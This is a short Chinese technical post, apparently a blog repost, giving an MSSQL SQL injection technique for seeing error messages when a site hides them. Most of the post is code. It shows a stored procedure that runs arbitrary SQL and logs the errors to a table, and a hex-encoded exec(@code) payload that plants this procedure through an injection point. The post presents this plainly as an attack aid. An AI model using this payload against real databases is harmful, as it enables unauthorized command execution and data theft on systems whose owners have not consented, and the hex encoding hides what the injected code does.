设为首页 加入收藏

TOP

揪出MSSQL SERVER“错误提示”
2014-11-23 22:08:59 来源: 作者: 【 】 浏览:11
Tags:揪出 MSSQL SERVER 错误 提示

痛苦的信仰

有某种情况,错误提示不开启,你只能open或者union甚至于Update Table for Web Information来返回数据。

当执行某些需要的多语句时,我们希望知道我们的语句执行时发生了哪些错误,以进行应对,有时候这些信息对你很重要。现在就对此情况进行讨论。

CREATE PROC RunSQL @sql nvarchar(2048)
AS
BEGIN
declare @msg nvarchar(2048);
set @msg = Error: ;
exec sp_executesql @sql;
select @msg = @msg + description from master.dbo.sysmessages where error=@@error;
set @msg = Execute: + @sql + | + @msg;
if not exists(select * from sysobjects where name=errorstate) create table errorstate(msg nvarchar(2048));
insert into errorstate values(@msg);
END

安装这个看扩展存储过后,用他来执行命令。会把错误信息写入表errorstate。呵呵,当然注入点环境是不能建扩展存储的,因为CREATE PROC必须是多语句的第一条语句。这容易满足:

declare @code varchar(2000);set @code=0x4352454154452050524F432052756E53514C204073716C206E76617263686172283230343829415320424

547494E206465636C61726520406D7367206E766172636861722832303438293B73657420406D7367203D20274572

726F723A20273B657865632073705F6578656375746573716C204073716C3B73656C65637420406D7367203D20

406D7367202B206465736372697074696F6E2066726F6D206D61737465722E64626F2E7379736D65737361676

573207768657265206572726F723D40406572726F723B73657420406D7367203D2027457865637574653A20272

02B204073716C202B20277C27202B20406D73673B6966206E6F74206578697374732873656C656374202A20667

26F6D207379736F626A65637473207768657265206E616D653D276572726F727374617465272920637265617465

207461626C65206572726F727374617465286D7367206E76617263686172283230343829293B696E736572742069

6E746F206572726F7273746174652076616C75657328406D7367293B454E44;exec(@code)

呵呵,一点雕虫小技,希望对读者有用。

】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
分享到: 
上一篇在删除数据库(删除成功),重新创建.. 下一篇解决SQL2005备份数据库.dat/bak还..

评论

帐  号: 密码: (新用户注册)
验 证 码:
表  情:
内  容: